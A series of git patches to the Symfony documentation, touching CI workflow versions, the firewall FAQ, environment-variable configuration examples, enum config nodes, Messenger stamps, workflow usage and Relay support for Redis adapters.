+            $services->set(MessageGenerator::class)
+                ->arg('$logger', service('monolog.logger.request'))
+                ->arg('$generateMessageHash', closure('App\Hash\MessageHashGenerator'))
+            ;
+        };
+
+.. versionadded:: 6.1
+
+    The ``closure`` argument type was introduced in Symfony 6.1.
+
 .. _services-binding:
 
 Binding Arguments by Name or Type

From 9dff4a833f1be59870c9d528a95ddad18f39d849 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 3 Feb 2023 11:54:19 +0100
Subject: [PATCH 4227/7107] Fix: Build

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 6781180a290..48fc477767a 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.37.0
+                uses: docker://oskarstark/doctor-rst:1.35.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 6210895e9e6f023289f6c091571fccd94a7a31aa Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 3 Feb 2023 12:46:43 +0100
Subject: [PATCH 4228/7107] minor

---
 reference/forms/types/collection.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index ab537de89ab..9c4688c0048 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -11,7 +11,8 @@ forms, which is useful when creating forms that expose one-to-many
 relationships (e.g. a product from where you can manage many related product
 photos).
 
-When rendered, existing collection entries are indexed by the keys of the array that is passed as the collection type field data.
+When rendered, existing collection entries are indexed by the keys of the array
+that is passed as the collection type field data.
 
 +---------------------------+--------------------------------------------------------------------------+
 | Rendered as               | depends on the `entry_type`_ option                                      |

From a6299f62c8fa0c581c2223227a3062ed2ffb3a8e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 3 Feb 2023 11:54:57 +0100
Subject: [PATCH 4229/7107] Use DOCtor-RST 1.38.2

---
 .doctor-rst.yaml                   |  2 +-
 .github/workflows/ci.yaml          |  2 +-
 frontend/encore/simple-example.rst |  4 ++--
 frontend/ux.rst                    |  2 +-
 mercure.rst                        | 10 +++++-----
 5 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 9247ed41dfe..3cebb1a12f8 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -54,6 +54,7 @@ rules:
     versionadded_directive_should_have_version: ~
     yaml_instead_of_yml_suffix: ~
     yarn_dev_option_at_the_end: ~
+    no_merge_conflict:
 
     #   master
     versionadded_directive_major_version:
@@ -88,7 +89,6 @@ whitelist:
         - '"foo",' # assertion for var_dumper - components/var_dumper.rst
         - '$var .= "Because of this `\xE9` octet (\\xE9),\n";'
         - '.. versionadded:: 0.2' # MercureBundle
-        - '.. code-block:: twig'
         - '.. versionadded:: 3.6' # MonologBundle
         - '.. versionadded:: 3.8' # MonologBundle
         - '// bin/console'
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 48fc477767a..e42b78e849c 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.35.1
+                uses: docker://oskarstark/doctor-rst:1.38.2
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index c2fc50289a5..d41da8daf84 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -75,7 +75,7 @@ To build the assets, run the following if you use the Yarn package manager:
     $ yarn dev-server
     # or
     $ npm run dev-server
-    
+
     # compile assets once
     $ yarn dev
     # or
@@ -229,7 +229,7 @@ to initialize Stimulus and automatically load any "controllers" from the
 
 Let's look at a simple Stimulus example. In a Twig template, suppose you have:
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     <div {{ stimulus_controller('say-hello') }}>
         <input type="text" {{ stimulus_target('say-hello', 'name') }}>
diff --git a/frontend/ux.rst b/frontend/ux.rst
index 86fddf852bc..1396a28a582 100644
--- a/frontend/ux.rst
+++ b/frontend/ux.rst
@@ -100,7 +100,7 @@ controller available! In this example, it's called
 into the ``{{ stimulus_controller() }}`` function from WebpackEncoreBundle, and
 it will normalize it:
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     <div {{ stimulus_controller('@symfony/ux-chartjs/chart') }}>
 
diff --git a/mercure.rst b/mercure.rst
index 3bbdb38dce9..a5c2823df5b 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -261,7 +261,7 @@ Subscribing
 
 Subscribing to updates in JavaScript from a Twig template is straightforward:
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     <script>
     const eventSource = new EventSource("{{ mercure('https://example.com/books/1')|escape('js') }}");
@@ -278,7 +278,7 @@ parameters corresponding to the topics passed as first argument.
 If you want to access to this URL from an external JavaScript file, generate the
 URL in a dedicated HTML element:
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     <script type="application/json" id="mercure-url">
     {{ mercure('https://example.com/books/1')|json_encode(constant('JSON_UNESCAPED_SLASHES') b-or constant('JSON_HEX_TAG'))|raw }}
@@ -296,7 +296,7 @@ Mercure also allows subscribing to several topics,
 and to use URI Templates or the special value ``*`` (matched by all topics)
 as patterns:
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     <script>
     {# Subscribe to updates of several Book resources and to all Review resources matching the given pattern #}
@@ -427,7 +427,7 @@ passed by the browsers to the Mercure hub if the ``withCredentials`` attribute
 of the ``EventSource`` class is set to ``true``. Then, the Hub verifies the
 validity of the provided JWT, and extract the topic selectors from it.
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     <script>
     const eventSource = new EventSource("{{ mercure('https://example.com/books/1', { subscribe: 'https://example.com/books/1' })|escape('js') }}", {
@@ -455,7 +455,7 @@ is the way to go.
     The native implementation of EventSource doesn't allow specifying headers.
     For example, authorization using a Bearer token. In order to achieve that, use `a polyfill`_
 
-    .. code-block:: twig
+    .. code-block:: html+twig
 
         <script>
         const es = new EventSourcePolyfill("{{ mercure('https://example.com/books/1') }}", {

From af85ac667966f95ecac8af6105d6cfcdefc3ec74 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 3 Feb 2023 13:57:12 +0100
Subject: [PATCH 4230/7107] Use `actions/checkout@v3`

---
 .github/workflows/ci.yaml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index e42b78e849c..74511e6903e 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -21,7 +21,7 @@ jobs:
 
         steps:
             -   name: "Checkout"
-                uses: actions/checkout@v2
+                uses: actions/checkout@v3
 
             -   name: "Set-up PHP"
                 uses: shivammathur/setup-php@v2
@@ -57,7 +57,7 @@ jobs:
 
         steps:
             -   name: "Checkout"
-                uses: actions/checkout@v2
+                uses: actions/checkout@v3
 
             -   name: "Create cache dir"
                 run: mkdir .cache
@@ -83,7 +83,7 @@ jobs:
         continue-on-error: true
         steps:
           - name: Checkout code
-            uses: actions/checkout@v2
+            uses: actions/checkout@v3
             with:
                 path: 'docs'
 

From c88664cb1982650420f0d9299d3a5242cfb46b5a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 3 Feb 2023 14:00:11 +0100
Subject: [PATCH 4231/7107] Use `actions/cache@v3`

---
 .github/workflows/ci.yaml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 74511e6903e..2e9cb4e4ee7 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -36,7 +36,7 @@ jobs:
                 run: echo "::set-output name=dir::$(composer config cache-files-dir)"
 
             -   name: Cache dependencies
-                uses: actions/cache@v2
+                uses: actions/cache@v3
                 with:
                     path: ${{ steps.composercache.outputs.dir }}
                     key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
@@ -67,7 +67,7 @@ jobs:
                 id: extract_base_branch
 
             -   name: "Cache DOCtor-RST"
-                uses: actions/cache@v2
+                uses: actions/cache@v3
                 with:
                     path: .cache
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
@@ -109,7 +109,7 @@ jobs:
 
           - name: Cache dependencies
             if: ${{ steps.find-files.outputs.files }}
-            uses: actions/cache@v2
+            uses: actions/cache@v3
             with:
                 path: ${{ steps.composercache.outputs.dir }}
                 key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}

From 806573a2f9683fd1e7b460e5c4eb1a48f1ef40a4 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 4 Feb 2023 14:46:54 +0100
Subject: [PATCH 4232/7107] Merging two paragraphs

Page: https://symfony.com/doc/5.4/security.html#frequently-asked-questions

* The second one mainly repeated the first one; there was only 1 sentence really new, so I merged them.
* I removed the part that multiple firewalls are usually not needed. Reason: "Each firewall is like a separate security system" says it all.
---
 security.rst | 18 ++++++------------
 1 file changed, 6 insertions(+), 12 deletions(-)

diff --git a/security.rst b/security.rst
index 924bbecd58e..23d553e0909 100644
--- a/security.rst
+++ b/security.rst
@@ -2661,18 +2661,12 @@ Frequently Asked Questions
 --------------------------
 
 **Can I have Multiple Firewalls?**
-    Yes! But it's usually not necessary. Each firewall is like a separate security
-    system, being authenticated in one firewall doesn't make you authenticated in
-    another one. One firewall can have multiple diverse ways of allowing
-    authentication (e.g. form login, API key authentication and LDAP).
-
-**Can I Share Authentication Between Firewalls?**
-    Yes, but only with some configuration. If you're using multiple firewalls and
-    you authenticate against one firewall, you will *not* be authenticated against
-    any other firewalls automatically. Different firewalls are like different security
-    systems. To do this you have to explicitly specify the same
-    :ref:`reference-security-firewall-context` for different firewalls. However,
-    one main firewall is usually sufficient for the needs of most applications.
+    Yes! Each firewall is like a separate security system, being authenticated in one
+    firewall doesn't make you authenticated in another one. Each firewall can have
+    multiple ways of allowing authentication (e.g. form login, and API key authentication).
+    If you want to share authentication between firewalls,
+    you have to explicitly specify the same
+    :ref:`reference-security-firewall-context` for different firewalls.
 
 **Security doesn't seem to work on my Error Pages**
     As routing is done *before* security, 404 error pages are not covered by

From 90a482819babd108768918fa9f104b9e6ef70632 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 4 Feb 2023 17:15:04 +0100
Subject: [PATCH 4233/7107] [Config] Allow enum values in EnumNode

---
 components/config/definition.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 29d0715e722..129426a9807 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -151,6 +151,34 @@ values::
 This will restrict the ``delivery`` options to be either ``standard``,
 ``expedited``  or ``priority``.
 
+You can also provide enum values to ``enumNode()``. Let's define an enumeration
+describing the possible states of the example above::
+
+    enum Delivery: string
+    {
+        case Standard = 'standard';
+        case Expedited = 'expedited';
+        case Priority = 'priority';
+    }
+
+The configuration can now be written like this::
+
+    $rootNode
+        ->children()
+            ->enumNode('delivery')
+                // You can provide all values of the enum...
+                ->values(Delivery::cases())
+                // ... or you can pass only some values next to other scalar values
+                ->values([Delivery::Priority, Delivery::Standard, 'other', false])
+            ->end()
+        ->end()
+    ;
+
+.. versionadded:: 6.3
+
+    The support of enum values in ``enumNode()`` was introduced
+    in Symfony 6.3.
+
 Array Nodes
 ~~~~~~~~~~~
 

From a27d30ebe75e51a4dcd18bbc01392a5b546c6cb9 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 4 Feb 2023 18:39:26 +0100
Subject: [PATCH 4234/7107] Fix code block for routing troubleshooting examples

---
 routing.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/routing.rst b/routing.rst
index 5b3900868d0..7bbb5cf0804 100644
--- a/routing.rst
+++ b/routing.rst
@@ -3026,6 +3026,8 @@ Troubleshooting
 
 Here are some common errors you might see while working with routing:
 
+.. code-block:: text
+
     Controller "App\\Controller\\BlogController::show()" requires that you
     provide a value for the "$slug" argument.
 
@@ -3040,6 +3042,8 @@ But your route path does *not* have a ``{slug}`` parameter (e.g. it is
 ``/blog/show``). Add a ``{slug}`` to your route path: ``/blog/show/{slug}`` or
 give the argument a default value (i.e. ``$slug = null``).
 
+.. code-block:: text
+
     Some mandatory parameters are missing ("slug") to generate a URL for route
     "blog_show".
 

From 806394734c219e2146cb0d57103dddb4089d7089 Mon Sep 17 00:00:00 2001
From: Pierre Galvez <login@pierre-galvez.fr>
Date: Sat, 4 Feb 2023 22:54:44 +0100
Subject: [PATCH 4235/7107] Null Coalescing Operator

Use Null Coalescing Operator instead of isset ? :
---
 create_framework/routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/routing.rst b/create_framework/routing.rst
index f76167ec2fb..71e3a8250e1 100644
--- a/create_framework/routing.rst
+++ b/create_framework/routing.rst
@@ -35,7 +35,7 @@ template as follows:
 .. code-block:: html+php
 
     <!-- example.com/src/pages/hello.php -->
-    Hello <?= htmlspecialchars(isset($name) ? $name : 'World', ENT_QUOTES, 'UTF-8') ?>
+    Hello <?= htmlspecialchars($name ?? 'World', ENT_QUOTES, 'UTF-8') ?>
 
 Now, we are in good shape to add new features.
 

From f300e8444e159105a208ff92beec47a42b4af151 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 13 Jan 2023 18:46:30 +0100
Subject: [PATCH 4236/7107] [Configuration] Add $_ENV and $_SERVER example with
 .env

---
 configuration.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index f1f66be2fdf..5eb70fed1b6 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -58,7 +58,7 @@ Configuration Formats
 ~~~~~~~~~~~~~~~~~~~~~
 
 Unlike other frameworks, Symfony doesn't impose a specific format on you to
-configure your applications, but lets you choose between YAML, XML and PHP. 
+configure your applications, but lets you choose between YAML, XML and PHP.
 Throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
 
@@ -653,6 +653,12 @@ This example shows how you could configure the database connection using an env
             ]);
         };
 
+Your env vars may also be accessed in your code thanks to PHP super
+globals ``$_ENV`` and ``$_SERVER``. Both are equivalent::
+
+    $databaseUrl = $_ENV['DATABASE_URL']; // mysql://db_user:db_password@127.0.0.1:3306/db_name
+    $env = $_SERVER['APP_ENV']; // prod
+
 .. versionadded:: 5.3
 
     The ``env()`` configurator syntax was introduced in 5.3.

From fc1844934d988e04d0bf6a8246cb0349c09d7c89 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 5 Feb 2023 15:04:44 +0100
Subject: [PATCH 4237/7107] Adding `reset()`

Page: https://symfony.com/doc/5.4/rate_limiter.html#rate-limiting-in-action

Wasn't mentioned anywhere...
---
 rate_limiter.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index a99c01191af..6ace5a6af67 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -249,10 +249,11 @@ the number of requests to the API::
             // RateLimitExceededException if the limit has been reached
             // $limiter->consume(1)->ensureAccepted();
 
+            // to reset the counter
+            // $limiter->reset();
+
             // ...
         }
-
-        // ...
     }
 
 .. note::

From 137125a48a2d14468733b416d483001f73011671 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Feb 2023 10:06:19 +0100
Subject: [PATCH 4238/7107] Minor tweak

---
 security.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index 23d553e0909..79e08227f34 100644
--- a/security.rst
+++ b/security.rst
@@ -2661,12 +2661,11 @@ Frequently Asked Questions
 --------------------------
 
 **Can I have Multiple Firewalls?**
-    Yes! Each firewall is like a separate security system, being authenticated in one
-    firewall doesn't make you authenticated in another one. Each firewall can have
+    Yes! However, each firewall is like a separate security system: being authenticated
+    in one firewall doesn't make you authenticated in another one. Each firewall can have
     multiple ways of allowing authentication (e.g. form login, and API key authentication).
-    If you want to share authentication between firewalls,
-    you have to explicitly specify the same
-    :ref:`reference-security-firewall-context` for different firewalls.
+    If you want to share authentication between firewalls, you have to explicitly
+    specify the same :ref:`reference-security-firewall-context` for different firewalls.
 
 **Security doesn't seem to work on my Error Pages**
     As routing is done *before* security, 404 error pages are not covered by

From ebde5a8afbd256e44dd509b578e75d36d517aa86 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 6 Feb 2023 19:47:39 +0100
Subject: [PATCH 4239/7107] [Messenger] Add `TransportNamesStamp` tip

---
 messenger.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 40b6e714a19..67fccfa9bf4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -339,6 +339,20 @@ to multiple transports:
     from ``Notification``, both the routing for ``Notification`` and
     ``SmsNotification`` will be used.
 
+.. tip::
+
+    You can define and override the transport that a message is using at
+    runtime by using the
+    :class:`Symfony\\Component\\Messenger\\Stamp\\TransportNamesStamp` on
+    the envelope of the message. This stamp takes an array of transport
+    name as its only argument. For more information about stamps, see
+    `Envelopes & Stamps`_.
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\\Component\\Messenger\\Stamp\\TransportNamesStamp`
+    stamp was introduced in Symfony 6.2.
+
 Doctrine Entities in Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From b15ca749d587adbe0408b5cf563b5d2ad9b5c168 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Mon, 6 Feb 2023 09:18:33 +0100
Subject: [PATCH 4240/7107] Simplify configuration env var example

---
 configuration.rst | 35 +++++++++++++----------------------
 1 file changed, 13 insertions(+), 22 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index cd2a920f05b..0335ea6edb2 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -605,51 +605,42 @@ The values of these options are resolved at runtime (only once per request, to
 not impact performance) so you can change the application behavior without having
 to clear the cache.
 
-This example shows how you could configure the database connection using an env var:
+This example shows how you could configure the application secret using an env var:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/doctrine.yaml
-        doctrine:
-            dbal:
-                # by convention the env var names are always uppercase
-                url: '%env(resolve:DATABASE_URL)%'
+        # config/packages/framework.yaml
+        framework:
+            # by convention the env var names are always uppercase
+            secret: '%env(APP_SECRET)%'
             # ...
 
     .. code-block:: xml
 
-        <!-- config/packages/doctrine.xml -->
+        <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
+            xmlns:framework="http://symfony.com/schema/dic/framework"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/doctrine
-                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-            <doctrine:config>
-                <!-- by convention the env var names are always uppercase -->
-                <doctrine:dbal url="%env(resolve:DATABASE_URL)%"/>
-            </doctrine:config>
+            <framework:config secret="%env(APP_SECRET)%"/>
 
         </container>
 
     .. code-block:: php
 
-        // config/packages/doctrine.php
+        // config/packages/framework.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->extension('doctrine', [
-                'dbal' => [
-                    // by convention the env var names are always uppercase
-                    'url' => env('DATABASE_URL')->resolve(),
-                    // or
-                    'url' => '%env(resolve:DATABASE_URL)%',
-                ],
+            $container->extension('framework', [
+                'secret' => '%env(APP_SECRET)%',
             ]);
         };
 

From 2a66aba3977652322e382a82b41e23c4dfacde8a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Feb 2023 15:02:24 +0100
Subject: [PATCH 4241/7107] Add a new item to the list of concrete examples of
 Code of Conduct

---
 contributing/code_of_conduct/concrete_example_document.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/contributing/code_of_conduct/concrete_example_document.rst b/contributing/code_of_conduct/concrete_example_document.rst
index ddd1c9b84c8..0981cce4454 100644
--- a/contributing/code_of_conduct/concrete_example_document.rst
+++ b/contributing/code_of_conduct/concrete_example_document.rst
@@ -21,7 +21,9 @@ Concrete Examples
 * Pattern of inappropriate social contact, such as requesting/assuming
   inappropriate levels of intimacy with others;
 * Continued one-on-one communication after requests to cease;
-* Putting down people based on their technology choices or their work.
+* Putting down people based on their technology choices or their work;
+* Taking photographs of conference attendees and speakers and publishing them
+  without their explicit permission.
 
 The original list is inspired and modified from `geek feminism`_ and
 confirmed by experiences from PHPWomen.

From b5dd8e64d4a036d9b828af305eea7989cd1289f3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Feb 2023 15:17:31 +0100
Subject: [PATCH 4242/7107] [Profiler] Add a tip about profiler icons

---
 profiler.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/profiler.rst b/profiler.rst
index d519aad46a0..a5ebc5303b5 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -362,6 +362,12 @@ block and set the value of two variables called ``icon`` and ``text``:
         {{ include('@WebProfiler/Profiler/toolbar_item.html.twig', { link: false }) }}
     {% endblock %}
 
+.. tip::
+
+    Symfony Profiler icons are selected from `Tabler icons`_, a large and open
+    source collection of SVG icons. It's recommended to also use those icons for
+    your own profiler panels to get a consistent look.
+
 .. tip::
 
     Built-in collector templates define all their images as embedded SVG files.
@@ -510,3 +516,4 @@ you'll need to configure the data collector explicitly:
 
 .. _`Single-page applications`: https://en.wikipedia.org/wiki/Single-page_application
 .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=profiler
+.. _`Tabler icons`: https://github.com/tabler/tabler-icons

From e169f78c6653b2a934a06323484d124474095e9f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Tue, 7 Feb 2023 17:14:13 +0100
Subject: [PATCH 4243/7107] [Workflow] Do not talk about registry

This is not recommended since https://github.com/symfony/symfony/pull/46000
---
 components/workflow.rst | 22 ----------------------
 1 file changed, 22 deletions(-)

diff --git a/components/workflow.rst b/components/workflow.rst
index 67b00730b69..a62491d24b7 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -58,33 +58,12 @@ The ``Workflow`` can now help you to decide what *transitions* (actions) are all
 on a blog post depending on what *place* (state) it is in. This will keep your domain
 logic in one place and not spread all over your application.
 
-When you define multiple workflows you should consider using a ``Registry``,
-which is an object that stores and provides access to different workflows.
-A registry will also help you to decide if a workflow supports the object you
-are trying to use it with::
-
-    use Acme\Entity\BlogPost;
-    use Acme\Entity\Newsletter;
-    use Symfony\Component\Workflow\Registry;
-    use Symfony\Component\Workflow\SupportStrategy\InstanceOfSupportStrategy;
-
-    $blogPostWorkflow = ...;
-    $newsletterWorkflow = ...;
-
-    $registry = new Registry();
-    $registry->addWorkflow($blogPostWorkflow, new InstanceOfSupportStrategy(BlogPost::class));
-    $registry->addWorkflow($newsletterWorkflow, new InstanceOfSupportStrategy(Newsletter::class));
-
 Usage
 -----
 
-When you have configured a ``Registry`` with your workflows,
-you can retrieve a workflow from it and use it as follows::
-
     // ...
     // Consider that $blogPost is in place "draft" by default
     $blogPost = new BlogPost();
-    $workflow = $registry->get($blogPost);
 
     $workflow->can($blogPost, 'publish'); // False
     $workflow->can($blogPost, 'to_review'); // True
@@ -103,7 +82,6 @@ method to initialize the object property::
 
     // ...
     $blogPost = new BlogPost();
-    $workflow = $registry->get($blogPost);
 
     // initiate workflow
     $workflow->getMarking($blogPost);

From 0b3e3f955be92b9cef2204a152b713e3e1b85174 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gabriel=20Ostroluck=C3=BD?= <gabriel.ostrolucky@gmail.com>
Date: Sun, 5 Feb 2023 23:50:20 +0100
Subject: [PATCH 4244/7107] Add Redis Relay doc

---
 components/cache/adapters/redis_adapter.rst | 19 ++++++++++++++-----
 components/lock.rst                         |  6 +++++-
 session.rst                                 |  6 +++---
 3 files changed, 22 insertions(+), 9 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 9596386b80e..466d78debf2 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -25,9 +25,9 @@ to utilize a cluster of servers to provide redundancy and/or fail-over is also a
 
     **Requirements:** At least one `Redis server`_ must be installed and running to use this
     adapter. Additionally, this adapter requires a compatible extension or library that implements
-    ``\Redis``, ``\RedisArray``, ``RedisCluster``, or ``\Predis``.
+    ``\Redis``, ``\RedisArray``, ``RedisCluster``, ``\Relay\Relay`` or ``\Predis``.
 
-This adapter expects a `Redis`_, `RedisArray`_, `RedisCluster`_, or `Predis`_ instance to be
+This adapter expects a `Redis`_, `RedisArray`_, `RedisCluster`_, `Relay`_ or `Predis`_ instance to be
 passed as the first parameter. A namespace and default cache lifetime can optionally be passed
 as the second and third parameters::
 
@@ -47,6 +47,10 @@ as the second and third parameters::
         $defaultLifetime = 0
     );
 
+.. versionadded:: 6.3
+
+    Support for `Relay`_ was introduced in Symfony 6.3.
+
 Configure the Connection
 ------------------------
 
@@ -165,10 +169,14 @@ array of ``key => value`` pairs representing option names and their respective v
 Available Options
 ~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 6.3
+
+    ``\Relay\Relay`` support was introduced in Symfony 6.3.
+
 ``class`` (type: ``string``, default: ``null``)
-    Specifies the connection library to return, either ``\Redis`` or ``\Predis\Client``.
-    If none is specified, it will return ``\Redis`` if the ``redis`` extension is
-    available, and ``\Predis\Client`` otherwise. Explicitly set this to ``\Predis\Client`` for Sentinel if you are
+    Specifies the connection library to return, either ``\Redis``, ``\Relay\Relay`` or ``\Predis\Client``.
+    If none is specified, fallback value is in following order, depending which one is available first:
+    ``\Redis``, ``\Relay\Relay``, ``\Predis\Client``. Explicitly set this to ``\Predis\Client`` for Sentinel if you are
     running into issues when retrieving master information.
 
 ``persistent`` (type: ``int``, default: ``0``)
@@ -258,6 +266,7 @@ Read more about this topic in the official `Redis LRU Cache Documentation`_.
 .. _`Redis`: https://github.com/phpredis/phpredis
 .. _`RedisArray`: https://github.com/phpredis/phpredis/blob/master/arrays.markdown#readme
 .. _`RedisCluster`: https://github.com/phpredis/phpredis/blob/master/cluster.markdown#readme
+.. _`Relay`: https://relay.so/
 .. _`Predis`: https://packagist.org/packages/predis/predis
 .. _`Predis Connection Parameters`: https://github.com/nrk/predis/wiki/Connection-Parameters#list-of-connection-parameters
 .. _`TCP-keepalive`: https://redis.io/topics/clients#tcp-keepalive
diff --git a/components/lock.rst b/components/lock.rst
index 85f528b140d..119c3074fae 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -602,8 +602,12 @@ store locks and does not expire.
 RedisStore
 ~~~~~~~~~~
 
+.. versionadded:: 6.3
+
+    ``\Relay\Relay`` support was introduced in Symfony 6.3.
+
 The RedisStore saves locks on a Redis server, it requires a Redis connection
-implementing the ``\Redis``, ``\RedisArray``, ``\RedisCluster`` or
+implementing the ``\Redis``, ``\RedisArray``, ``\RedisCluster``, ``\Relay\Relay`` or
 ``\Predis`` classes. This store does not support blocking, and expects a TTL to
 avoid stalled locks::
 
diff --git a/session.rst b/session.rst
index d6db9408428..007337569fc 100644
--- a/session.rst
+++ b/session.rst
@@ -503,7 +503,7 @@ a Symfony service for the connection to the Redis server:
                     # - { 'prefix': 'my_prefix', 'ttl': 600 }
 
             Redis:
-                # you can also use \RedisArray, \RedisCluster or \Predis\Client classes
+                # you can also use \RedisArray, \RedisCluster, \Relay\Relay or \Predis\Client classes
                 class: Redis
                 calls:
                     - connect:
@@ -526,7 +526,7 @@ a Symfony service for the connection to the Redis server:
             xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <!-- you can also use \RedisArray, \RedisCluster or \Predis\Client classes -->
+                <!-- you can also use \RedisArray, \RedisCluster, \Relay\Relay or \Predis\Client classes -->
                 <service id="Redis" class="Redis">
                     <call method="connect">
                         <argument>%env(REDIS_HOST)%</argument>
